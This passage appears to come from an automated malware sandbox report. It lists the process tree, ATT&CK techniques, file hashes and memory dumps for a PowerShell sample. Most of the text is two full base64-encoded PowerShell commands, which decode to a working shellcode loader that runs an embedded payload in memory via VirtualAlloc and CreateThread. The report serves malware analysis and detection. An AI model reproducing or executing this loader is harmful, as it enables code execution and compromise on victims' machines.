MAB4AGUANwAsADAAeAA5AGYALAAwAHgANQA3ACwAMAB4AGUAMQAsADAAeAAxADcALAAwAHgAYQBhACwAMAB4ADQANwAsADAAeAAxADYALAAwAHgAMAAyACwAMAB4ADkAYQAsADAAeABmADIALAAwAHgAMgA0ACwAMAB4AGMANQAsADAAeABkADUALAAwAHgANAA5ACwAMAB4ADEANAAsADAAeAA0ADAALAAwAHgAZQA5ACwAMAB4ADYANAAsADAAeAAzADMALAAwAHgAMgBkACwAMAB4ADcAZAAsADAAeAA4ADYALAAwAHgAZAA0ACwAMAB4AGEAZAAsADAAeAA3AGQALAAwAHgAZQBlACwAMAB4AGQANAAsADAAeABhAGQALAAwAHgAMwBkACwAMAB4AGUAZQAsADAAeAA4ADcALAAwAHgAYwA1ACwAMAB4AGUANQAsADAAeAA0AGEALAAwAHgANwA0ACwAMAB4AGYAMwAsADAAeABlADkALAAwAHgANAA3ACwAMAB4AGUAOAAsADAAeABhADgALAAwAHgANAA2ACwAMAB4AGUAZQAsADAAeABlADgALAAwAHgAMQA4ACwAMAB4ADAAMQAsADAAeABmADAALAAwAHgAZAA2ACwAMAB4AGEANgAsADAAeABkADEALAAwAHgAYQAzACwAMAB4ADQAMAAsADAAeABjAGYALAAwAHgAYwAzACwAMAB4AGQANQAsADAAeABlADQALAAwAHgAZQBkACwAMAB4ADEAYgAsADAAeAAwAGMALAAwAHgANwAzACwAMAB4ADMAMQAsADAAeAA5ADcALAAwAHgANgAzACwAMAB4AGYANwAsADAAeABiADUALAAwAHgANQA5ACwAMAB4AGIAOAAsADAAeAA4AGQALAAwAHgANwBhACwAMAB4ADIAYwAsADAAeABkAGIALAAwAHgAZAA2ACwAMAB4AGIAOQAsADAAeAA5ADAALAAwAHgAYwBiACwAMAB4ADgAZQAsADAAeABjADIALAAwAHgAZAAwACwAMAB4AGYANAAsADAAeAA2ADAALAAwAHgAMAA0ACwAMAB4ADEAZAAsADAAeAAyADQALAAwAHgAYgAyACwAMAB4ADQAMAAsADAAeAA1ADkALAAwAHgAMQA2ACwAMAB4ADgANQAsADAAeAA5ADQALAAwAHgAYgA3ACwAMAB4ADUANwAsADAAeABkADcALAAwAHgAZABkACwAMAB4AGMANwA7ACQAZwAgAD0AIAAwAHgAMQAwADAAMAA7AGkAZgAgACgAJAB6AC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAeAAxADAAMAAwACkAewAkAGcAIAA9ACAAJAB6AC4ATABlAG4AZwB0AGgAfQA7ACQAdQBTAGwAawA9ACQAdwA6ADoAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKAAwACwAMAB4ADEAMAAwADAALAAkAGcALAAwAHgANAAwACkAOwBmAG8AcgAgACgAJABpAD0AMAA7ACQAaQAgAC0AbABlACAAKAAkAHoALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAaQArACsAKQAgAHsAJAB3ADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAdQBTAGwAawAuAFQAbwBJAG4AdAAzADIAKAApACsAJABpACkALAAgACQAegBbACQAaQBdACwAIAAxACkAfQA7ACQAdwA6ADoAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKAAwACwAMAAsACQAdQBTAGwAawAsADAALAAwACwAMAApADsAZgBvAHIAIAAoADsAOwApAHsAUwB0AGEAcgB0AC0AcwBsAGUAZQBwACAANgAwAH0AOwAnADsAJABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABCAHkAdABlAHMAKAAkAEYAcwBzACkAKQA7ACQAWgBmAEUAIAA9ACAAIgAtAGUAYwAgACIAOwBpAGYAKABbAEkAbgB0AFAAdAByAF0AOgA6AFMAaQB6AGUAIAAtAGUAcQAgADgAKQB7ACQAZQBXAG0AIAA9ACAAJABlAG4AdgA6AFMAeQBzAHQAZQBtAFIAbwBvAHQAIAArACAAIgBcAHMAeQBzAHcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsACIAOwBpAGUAeAAgACIAJgAgACQAZQBXAG0AIAAkAFoAZgBFACAAJABlACIAfQBlAGwAcwBlAHsAOwBpAGUAeAAgACIAJgAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAkAFoAZgBFACAAJABlACIAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4608
  - - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -ec JABzAHUAawAgAD0AIAAnAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABBAGwAbABvAGMAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABmAGwAQQBsAGwAbwBjAGEAdABpAG8AbgBUAHkAcABlACwAIAB1AGkAbgB0ACAAZgBsAFAAcgBvAHQAZQBjAHQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAQwByAGUAYQB0AGUAVABoAHIAZQBhAGQAKABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABBAHQAdAByAGkAYgB1AHQAZQBzACwAIAB1AGkAbgB0ACAAZAB3AFMAdABhAGMAawBTAGkAegBlACwAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsACAASQBuAHQAUAB0AHIAIABsAHAAUABhAHIAYQBtAGUAdABlAHIALAAgAHUAaQBuAHQAIABkAHcAQwByAGUAYQB0AGkAbwBuAEYAbABhAGcAcwAsACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBtAHMAdgBjAHIAdAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAbQBlAG0AcwBlAHQAKABJAG4AdABQAHQAcgAgAGQAZQBzAHQALAAgAHUAaQBuAHQAIABzAHIAYwAsACAAdQBpAG4AdAAgAGMAbwB1AG4AdAApADsAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAdQBrACAALQBOAGEAbQBlACAAIgBXAGkAbgAzADIAIgAgAC0AbgBhAG0AZQBzAHAAYQBjAGUAIABXAGkAbgAzADIARgB1AG4AYwB0AGkAbwBuAHMAIAAtAHAAYQBzAHMAdABoAHIAdQA7AFsAQgB5AHQAZQBbAF0AXQA7AFsAQgB5AHQAZQBbAF0AXQAkAHoAIAA9ACAAMAB4AGQAYgAsADAAeABkADUALAAwAHgAYgBhACwAMAB4ADQANwAsADAAeAA1AGYALAAwAHgANwA5ACwAMAB4ADYANwAsADAAeABkADkALAAwAHgANwA0ACwAMAB4ADIANAAsADAAeABmADQALAAwAHgANQBlACwAMAB4ADMAMQAsADAAeABjADkALAAwAHgAYgAxACwAMAB4ADYAMwAsADAAeAA4ADMALAAwAHgAZQBlACwAMAB4AGYAYwAsADAAeAAzADEALAAwAHgANQA2ACwAMAB4ADEANgAsADAAeAAwADMALAAwAHgANQA2ACwAMAB4ADEANgAsADAAeABlADIALAAwAHgAYgAyACwAMAB4AGEAMwAsADAAeAA5ADEALAAwAHgAZQA4ACwAMAB4ADMAYwAsADAAeAA1AGMALAAwAHgANgAyACwAMAB4ADkANwAsADAAeAAwAGQALAAwAHgAOABlACwAMAB4ADAANgAsADAAeABkAGMALAAwAHgAMwBmACwAMAB4ADEAZQAsADAAeAA0AGMALAAwAHgAYgAwACwAMAB4AGIAMwAsADAAeABkADUALAAwAHgAMAAwACwAMAB4ADIAMQAsADAAeAA0ADIALAAwAHgAMABjACwAMAB4ADkANQAsADAAeABiADYALAAwAHgAZABmACwAMAB4AGIAZAAsADAAeABmAGUALAAwAHgANAA3ACwAMAB4ADYAOAAsADAAeAAwAGIALAAwAHgAZAA5ACwAMAB4ADYANgAsADAAeAA1ADYALAAwAHgAMgAwACwAMAB4ADEAOQAsADAAeABlADgALAAwAHgAMgBhACwAMAB4ADMAYgAsADAAeAA0AGUALAAwAHgAYwBhACwAMAB4ADEAMwAsADAAeABmADQALAAwAHgAOAAzACwAMAB4ADAAYgAsADAAeAA1ADQALAAwAHgANAAyACwAMAB4AGUAOQAsADAAeABlADQALAAwAHgAMAA4ACwAMAB4ADAAMgAsADAAeAA5AGEALAAwAHgAYQA5ACwAMAB4AGIAYwAsADAAeAAyADcALAAwAHgAZABlACwAMAB4ADcAMQAsADAAeABiAGQALAAwAHgAZQA3ACwAMAB4ADUANAAsADAAeABjADkALAAwAHgAYwA1ACwAMAB4ADgAMgAsADAAeABhAGIALAAwAHgAYgBlACwAMAB4ADcAOQAsADAAeAA4AGMALAAwAHgAZgBiACwAMAB4ADYAZgAsADAAeAAwAGEALAAwAHgAYwA2ACwAMAB4AGUAMwAsADAAeAAwADQALAAwAHgANQA0ACwAMAB4AGYANwAsADAAeAAxADIALAAwAHgAYwA4ACwAMAB4AGUAMQAsADAAeAAzAGUALAAwAHgANgAwACwAMAB4AGQAMgAsADAAeABhADAALAAwAHgANABiACwAMAB4AGIAZAAsADAAeABhADEALAAwAHgAMAAzACwAMAB4AGIAMwAsADAAeABiAGYALAAwAHgANgAzACwAMAB4ADUAMgAsADAAeAA4AGIALAAwAHgAMAAxACwAMAB4ADQANAAsADAAeAA5ADkALAAwAHgAYQA3ACwAMAB4ADgAMwAsADAAeAA5AGMALAAwAHgAOQA5ACwAMAB4ADUANwAsADAAeABmADYALAAwAHgAZAA2ACwAMAB4AGQAYQAsADAAeABlAGEALAAwAHgAMAAxACwAMAB4ADIAZAAsADAAeABhADEALAAwAHgAMwAwACwAMAB4ADgANwAsADAAeABiADIALAAwAHgAMAAxACwAMAB4AGIAMgAsADAAeAAzAGYALAAwAHgAMQA3ACwAMAB4AGIAMAAsADAAeAAxADcALAAwAHgAZAA5ACwAMAB4AGQAYwAsADAAeABiAGUALAAwAHgAZABjACwAMAB4AGEAZAAsADAAeABiAGIALAAwAHgAYQAyACwAMAB4AGUAMwAsADAAeAA2ADIALAAwAHgAYgAwACwAMAB4AGQAZQAsADAAeAA2ADgALAAwAHgAOAA1ACwAMAB4ADEANwAsADAAeAA1ADcALAAwAHgAMgBhACwAMAB4AGEAMgAsADAAeABiADMALAAwAHgAMwBjACwAMAB4AGUAOAAsADAAeABjAGIALAAwAHgAZQAyACwAMAB4ADkAOAAsADAAeAA1AGYALAAwAHgAZgAzACwAMAB4AGYANQAsADAAeAA0ADQALAAwAHgAMwBmACwAMAB4ADUAMQAsADAAeAA3AGQALAAwAHgANgA2ACwAMAB4ADUANgAsADAAeABlADUALAAwAHgANwBlACwAMAB4ADcAOQAsADAAeAA1ADcALAAwAHgAYgBiACwAMAB4AGUAOAAsADAAeABlAGIALAAwAHgAYwBkACwAMAB4ADMAMAAsADAAeABlADkALAAwAHgAOQBiACwAMAB4ADcAYQAsADAAeABkADAALAAwAHgAOAA3ACwAMAB4ADMAMgAsADAAeABkADEALAAwAHgANABhACwAMAB4ADEANAAsADAAeABiADMALAAwAHgAZgBmACwAMAB4ADgAZAAsADAAeAA1AGIALAAwAHgAZQBlACwAMAB4ADMAMQAsADAAeAA0ADkALAAwAHgAZgAwACwAMAB4ADQAMwAsADAAeAA2ADEALAAwAHgAMwBlACwAMAB4AGEANAAsADAAeAAwAGIALAAwAHgAYgBmACwAMAB4ADkANgAsADAAeAAzADMALAAwAHgANgBjACwAMAB4ADQAMAAsADAAeABjADMALAAwAHgAOQA3ACwAMAB4ADIAMQAsADAAeABkADUALAAwAHgAZQBmACwAMAB4ADQANAAsADAAeAA5ADYALAAwAHgANAAxACwAMAB4ADYAMAAsADAAeAA3ADUALAAwAHgAMQA4ACwAMAB4ADkAMgAsADAAeAA2ADgALAAwAHgAMwBhACwAMAB4ADEAOAAsADAAeAA5ADIALAAwAHgANgA4ACwAMAB4ADEANAAsADAAeAA0AGQALAAwAHgAYwBiACwAMAB4ADUAYQAsADAAeAAwADAALAAwAHgAMAA3ACwAMAB4AGIAYwAsADAAeABiADcALAAwAHgAYgBkACwAMAB4ADgAMwAsADAAeAAyADYALAAwAHgAYQA5ACwAMAB4ADYAOQAsADAAeAA2ADcALAAwAHgAZgBkACwAMAB4ADYAMAAsADAAeABlADEALAAwAHgANABlACwAMAB4ADQAMwAsADAAeAAwADIALAAwAHgAMwA0ACwAMAB4AGMAMAAsADAAeAAxADIALAAwAHgAZAA1ACwAMAB4ADQAMwAsADAAeAAxADEALAAwAHgAZQBmACwAMAB4ADIAYwAsADAAeABlADAALAAwAHgANgA5ACwAMAB4ADAAZgAsADAAeAAxAGYALAAwAHgAOQAwACwAMAB4AGQAZQAsADAAeAA4ADYALAAwAHgAMAAwACwAMAB4AGEANgAsADAAeAAxAGYALAAwAHgANABkACwAMAB4AGIANwAsADAAeABlADEALAAwAHgAOABjACwAMAB4ADAANgAsADAAeABjADgALAAwAHgAZABmACwAMAB4AGQAYQAsADAAeAA1ADMALAAwAHgAOQBiACwAMAB4ADQAYwAsADAAeAA0ADkALAAwAHgAMABiACwAMAB4ADQAZgAsADAAeAAyADUALAAwAHgAMAA1ACwAMAB4ADUAOAAsADAAeAAzAGEALAAwAHgAZQA3ACwAMAB4AGUAZQAsADAAeAA2ADEALAAwAHgAMQAwACwAMAB4ADYAMQAsADAAeAA3AGEALAAwAHgAOQA0ACwAMAB4AGMANAAsADAAeABlADYALAAwAHgAZgBhACwAMAB4ADkAYgAsADAAeABmAGEALAAwAHgAZgA2ACwAMAB4ADcAMwAsADAAeAAzAGIALAAwAHgAOQAwACwAMAB4AGYAMgAsADAAeABkADMALAAwAHgAZAA2ACwAMAB4ADcAYQAsADAAeABhAGQALAAwAHgAYgBiACwAMAB4ADUAMwAsADAAeABjADMALAAwAHgAYwBmACwAMAB4AGIAZAAsADAAeAA2ADMALAAwAHgAMQBlACwAMAB4AGIAYwAsADAAeAA5ADIALAAwAHgAYwA4ACwAMAB4AGYAMgAsADAAeAAxADUALAAwAHgANwBjACwAMAB4AGMAMgAsADAAeABmADIALAAwAHgAOAAxACwAMAB4ADAANwAsADAAeABlADMALAAwAHgAMgBlACwAMAB4ADMANAAsADAAeAAzADcALAAwAHgANgBlACwAMAB4AGMANwAsADAAeAA1AGYALAAwAHgAMwBmACwAMAB4ADgAMgAsADAAeABlADcALAAwAHgAOQBmACwAMAB4ADUANwAsADAAeABlADEALAAwAHgAMQA3ACwAMAB4AGEAYQAsADAAeAA0ADcALAAwAHgAMQA2ACwAMAB4ADAAMgAsADAAeAA5AGEALAAwAHgAZgAyACwAMAB4ADIANAAsADAAeABjADUALAAwAHgAZAA1ACwAMAB4ADQAOQAsADAAeAAxADQALAAwAHgANAAwACwAMAB4AGUAOQAsADAAeAA2ADQALAAwAHgAMwAzACwAMAB4ADIAZAAsADAAeAA3AGQALAAwAHgAOAA2ACwAMAB4AGQANAAsADAAeABhAGQALAAwAHgANwBkACwAMAB4AGUAZQAsADAAeABkADQALAAwAHgAYQBkACwAMAB4ADMAZAAsADAAeABlAGUALAAwAHgAOAA3ACwAMAB4AGMANQAsADAAeABlADUALAAwAHgANABhACwAMAB4ADcANAAsADAAeABmADMALAAwAHgAZQA5ACwAMAB4ADQANwAsADAAeABlADgALAAwAHgAYQA4ACwAMAB4ADQANgAsADAAeABlAGUALAAwAHgAZQA4ACwAMAB4ADEAOAAsADAAeAAwADEALAAwAHgAZgAwACwAMAB4AGQANgAsADAAeABhADYALAAwAHgAZAAxACwAMAB4AGEAMwAsADAAeAA0ADAALAAwAHgAYwBmACwAMAB4AGMAMwAsADAAeABkADUALAAwAHgAZQA0ACwAMAB4AGUAZAAsADAAeAAxAGIALAAwAHgAMABjACwAMAB4ADcAMwAsADAAeAAzADEALAAwAHgAOQA3ACwAMAB4ADYAMwAsADAAeABmADcALAAwAHgAYgA1ACwAMAB4ADUAOQAsADAAeABiADgALAAwAHgAOABkACwAMAB4ADcAYQAsADAAeAAyAGMALAAwAHgAZABiACwAMAB4AGQANgAsADAAeABiADkALAAwAHgAOQAwACwAMAB4AGMAYgAsADAAeAA4AGUALAAwAHgAYwAyACwAMAB4AGQAMAAsADAAeABmADQALAAwAHgANgAwACwAMAB4ADAANAAsADAAeAAxAGQALAAwAHgAMgA0ACwAMAB4AGIAMgAsADAAeAA0ADAALAAwAHgANQA5ACwAMAB4ADEANgAsADAAeAA4ADUALAAwAHgAOQA0ACwAMAB4AGIANwAsADAAeAA1ADcALAAwAHgAZAA3ACwAMAB4AGQAZAAsADAAeABjADcAOwAkAGcAIAA9ACAAMAB4ADEAMAAwADAAOwBpAGYAIAAoACQAegAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwAHgAMQAwADAAMAApAHsAJABnACAAPQAgACQAegAuAEwAZQBuAGcAdABoAH0AOwAkAHUAUwBsAGsAPQAkAHcAOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsADAAeAAxADAAMAAwACwAJABnACwAMAB4ADQAMAApADsAZgBvAHIAIAAoACQAaQA9ADAAOwAkAGkAIAAtAGwAZQAgACgAJAB6AC4ATABlAG4AZwB0AGgALQAxACkAOwAkAGkAKwArACkAIAB7ACQAdwA6ADoAbQBlAG0AcwBlAHQAKABbAEkAbgB0AFAAdAByAF0AKAAkAHUAUwBsAGsALgBUAG8ASQBuAHQAMwAyACgAKQArACQAaQApACwAIAAkAHoAWwAkAGkAXQAsACAAMQApAH0AOwAkAHcAOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgAMAAsADAALAAkAHUAUwBsAGsALAAwACwAMAAsADAAKQA7AGYAbwByACAAKAA7ADsAKQB7AFMAdABhAHIAdAAtAHMAbABlAGUAcAAgADYAMAB9ADsA
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:5076
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4jp5e0dn\4jp5e0dn.cmdline"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1928
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9887.tmp" "c:\Users\Admin\AppData\Local\Temp\4jp5e0dn\CSC4CFFF5CFE53F422ABB21C383B257551.TMP"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\4jp5e0dn\4jp5e0dn.dll

Filesize
3KB

MD5
fbca0e1ccdd68c0a535189a0547442af

SHA1
a692949e267cdba58cdc449666bdcc36923c37eb

SHA256
909c2a0b014e803be5af9f9c6cb889dcdeee7cd01aef937db8df5bb13148ead9

SHA512
eae138bab0f9371cebef51cfe60fd96d5e7ca99179ec210821d35d4ec449f507da73fa4638b6383ca6b93bd5348265bf863710163703c0bc58315f793682a248

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES9887.tmp

Filesize
1KB

MD5
2cf26663864624ec9cb3b1d24031b652

SHA1
14502450f9bb302fdc822b70a68c55d4c6b1f5c8

SHA256
c796829406e598e8e026d6e91c803d415909690fd5da72ae037dac3be05f3e1b

SHA512
58fa4336294208d934dbe0fae566f8b699091e8fb3cb65ec22a9ea544aec3feeb9224f4e066840435e8ec2f2de2b5fac034e27918bcbc9adbb31bf80d2b7d4e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i4xvtas2.qhj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\4jp5e0dn\4jp5e0dn.0.cs

Filesize
557B

MD5
7319070c34daa5f6f2ece2dfc07119ee

SHA1
f26a4a48518a5608e93c8b77368f588b0433973c

SHA256
b240a9bb4f72d886522e19fa40b9c688fa94c1bd6dc7b7185f94e4466273a5dc

SHA512
34169fc9fb0cd2381c45efcd22ec1bc659ef513e73bc4c7bcb91ca1d5129a1a149e9f75297acb4958e52ff04d75e6e121232dbc0657611e41b63f10aa3e1d6bd

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\4jp5e0dn\4jp5e0dn.cmdline

Filesize
369B

MD5
3a8a6fe5c03c482488d016c494421fff

SHA1
da707e9a0fd1c365c2bb3d742ea798692e587dfb

SHA256
aaa8c117d6cdc7a844984760c8255de5ce31fee23a1619284b6aad7a6d395954

SHA512
89902c97303499aac9f27ebfccb03f0b385cb1267a582f96b00b92dbfa740386992bf4a63adeb0ed6447be42b18a2a03006fc93306ec84ec3642cf502d5a65a0

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\4jp5e0dn\CSC4CFFF5CFE53F422ABB21C383B257551.TMP

Filesize
652B

MD5
61065d6835f6bb87bc712696ecc54637

SHA1
cd230f888153d2068f94a98778532ee038f07bc8

SHA256
00e9a67f598223866dcdb0e9ef8681334fa9831758662f15e81343feb57a2bae

SHA512
5e0cb19264daf9505556526bff02abbe522e42893ba0b3ab11e7d18b355719e39df7ad2102f18ac1b7b1c018b5ca605805a6bff973879485802e92e4f504394a

Download Submit
memory/4232-1-0x000001F093A90000-0x000001F093AB2000-memory.dmp

Filesize
136KB

Download
memory/4232-11-0x00007FFDBCE00000-0x00007FFDBD8C1000-memory.dmp

Filesize
10.8MB

Download
memory/4232-12-0x00007FFDBCE00000-0x00007FFDBD8C1000-memory.dmp

Filesize
10.8MB

Download
memory/4232-68-0x00007FFDBCE00000-0x00007FFDBD8C1000-memory.dmp

Filesize
10.8MB

Download
memory/4232-0-0x00007FFDBCE03000-0x00007FFDBCE05000-memory.dmp

Filesize
8KB

Download
memory/4536-23-0x00007FFDBCE00000-0x00007FFDBD8C1000-memory.dmp

Filesize
10.8MB

Download
memory/4536-24-0x00007FFDBCE00000-0x00007FFDBD8C1000-memory.dmp

Filesize
10.8MB

Download
memory/4536-69-0x00007FFDBCE00000-0x00007FFDBD8C1000-memory.dmp

Filesize
10.8MB

Download
memory/4536-22-0x00007FFDBCE00000-0x00007FFDBD8C1000-memory.dmp

Filesize
10.8MB

Download
memory/5076-43-0x0000000005C80000-0x0000000005CE6000-memory.dmp

Filesize
408KB

Download
memory/5076-51-0x0000000007BB0000-0x000000000822A000-memory.dmp

Filesize
6.5MB

Download
memory/5076-52-0x00000000067D0000-0x00000000067EA000-memory.dmp

Filesize
104KB

Download
memory/5076-42-0x0000000005B60000-0x0000000005BC6000-memory.dmp

Filesize
408KB

Download
memory/5076-36-0x0000000005A40000-0x0000000005A62000-memory.dmp

Filesize
136KB

Download
memory/5076-35-0x00000000053B0000-0x00000000059D8000-memory.dmp

Filesize
6.2MB

Download
memory/5076-34-0x0000000004D40000-0x0000000004D76000-memory.dmp

Filesize
216KB

Download
memory/5076-50-0x00000000062D0000-0x000000000631C000-memory.dmp

Filesize
304KB

Download
memory/5076-65-0x0000000006840000-0x0000000006848000-memory.dmp

Filesize
32KB

Download
memory/5076-67-0x00000000068E0000-0x00000000068E1000-memory.dmp

Filesize
4KB

Download
memory/5076-49-0x00000000062B0000-0x00000000062CE000-memory.dmp

Filesize
120KB

Download
memory/5076-48-0x0000000005DF0000-0x0000000006144000-memory.dmp

Filesize
3.3MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads